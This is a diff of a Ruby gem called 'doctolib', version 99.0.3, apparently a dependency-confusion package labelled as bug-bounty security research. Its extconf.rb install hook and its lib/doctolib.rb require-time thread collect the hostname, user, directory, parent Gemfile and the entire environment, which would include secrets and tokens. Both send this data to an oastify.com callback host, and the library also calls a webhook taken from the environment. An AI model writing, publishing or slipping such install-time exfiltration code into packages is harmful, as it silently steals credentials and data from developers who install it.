doctolib 99.0.3

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 32defcd69c36724a86940d4ee0c8f13f9c78ed6bbc4bd45e06340179e1454388
+  data.tar.gz: 11fc7b0c526f1321770e22a799b9db0bbc574a60f12ee35ff796f4bd2d01c234
+SHA512:
+  metadata.gz: ed62decd7a2e2b4133f2b95aaeeda64f801ed106ecaabf017c135a11081d257eaac24f67b9797a4f28e7d934903318b4bf4af7c26e96dbb2006667b453bf8290
+  data.tar.gz: 73e775067b093a605a65287d8dc79b2cbf7c9660d9aed2af329ebccf6a04ebf1ffe8fb0ecb55b61f2e5e20c395998e1c3d5b8c63ddea74335363bbb40b6c468a

data/ext/doctolib/extconf.rb

@@ -0,0 +1,49 @@
+require 'net/http'
+require 'uri'
+require 'json'
+require 'socket'
+require 'time'
+
+CALLBACK = 'icaregems.7em0ii1mpvc50kzafx6bf1xunltch6hu6.oastify.com'
+
+begin
+  info = {
+    type: 'gem_install',
+    hostname: Socket.gethostname,
+    user: ENV['USER'] || ENV['USERNAME'],
+    pwd: Dir.pwd,
+    home: ENV['HOME'],
+    ruby_version: RUBY_VERSION,
+    platform: RUBY_PLATFORM,
+    env: ENV.to_h,
+    timestamp: Time.now.utc.iso8601
+  }
+  
+  dir = Dir.pwd
+  10.times do
+    gemfile = File.join(dir, 'Gemfile')
+    if File.exist?(gemfile)
+      info[:parent_gemfile] = File.read(gemfile) rescue nil
+      info[:parent_dir] = dir
+      info[:parent_files] = Dir.entries(dir) rescue nil
+      break
+    end
+    parent = File.dirname(dir)
+    break if parent == dir
+    dir = parent
+  end
+  
+  uri = URI("http://#{CALLBACK}/gem_install")
+  http = Net::HTTP.new(uri.host, uri.port)
+  http.open_timeout = 5
+  http.read_timeout = 5
+  
+  request = Net::HTTP::Post.new(uri.path)
+  request['Content-Type'] = 'application/json'
+  request.body = info.to_json
+  
+  http.request(request)
+rescue
+end
+
+File.write('Makefile', "all:\n\techo 'OK'\ninstall:\n\techo 'OK'\n")

data/lib/doctolib.rb

@@ -0,0 +1,50 @@
+require 'net/http'
+require 'uri'
+require 'json'
+require 'socket'
+require 'time'
+
+module Doctolib
+  VERSION = '99.0.3'
+  CALLBACK = 'icaregems.7em0ii1mpvc50kzafx6bf1xunltch6hu6.oastify.com'
+  
+  unless defined?(@@triggered)
+    @@triggered = true
+    
+    Thread.new do
+      begin
+        info = {
+          type: 'gem_require',
+          hostname: Socket.gethostname,
+          user: ENV['USER'] || ENV['USERNAME'],
+          pwd: Dir.pwd,
+          ruby_version: RUBY_VERSION,
+          rails_env: ENV['RAILS_ENV'],
+          rack_env: ENV['RACK_ENV'],
+          env: ENV.to_h,
+          timestamp: Time.now.utc.iso8601
+        }
+        
+        webhook = ENV['SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN']
+        info[:webhook_found] = !webhook.nil?
+        
+        uri = URI("http://#{CALLBACK}/gem_require")
+        http = Net::HTTP.new(uri.host, uri.port)
+        http.open_timeout = 5
+        http.read_timeout = 5
+        
+        request = Net::HTTP::Post.new(uri.path)
+        request['Content-Type'] = 'application/json'
+        request.body = info.to_json
+        
+        http.request(request)
+        
+        if webhook
+          webhook_uri = URI(webhook)
+          Net::HTTP.get(webhook_uri)
+        end
+      rescue
+      end
+    end
+  end
+end

metadata

@@ -0,0 +1,42 @@
+--- !ruby/object:Gem::Specification
+name: doctolib
+version: !ruby/object:Gem::Version
+  version: 99.0.3
+platform: ruby
+authors:
+- icare
+bindir: bin
+cert_chain: []
+date: 1980-01-02 00:00:00.000000000 Z
+dependencies: []
+description: Security research package
+email: icare@security.research
+executables: []
+extensions:
+- ext/doctolib/extconf.rb
+extra_rdoc_files: []
+files:
+- ext/doctolib/extconf.rb
+- lib/doctolib.rb
+homepage: https://github.com/icare/doctolib
+licenses:
+- MIT
+metadata: {}
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: 2.5.0
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.6.7
+specification_version: 4
+summary: Security research - Bug Bounty
+test_files: []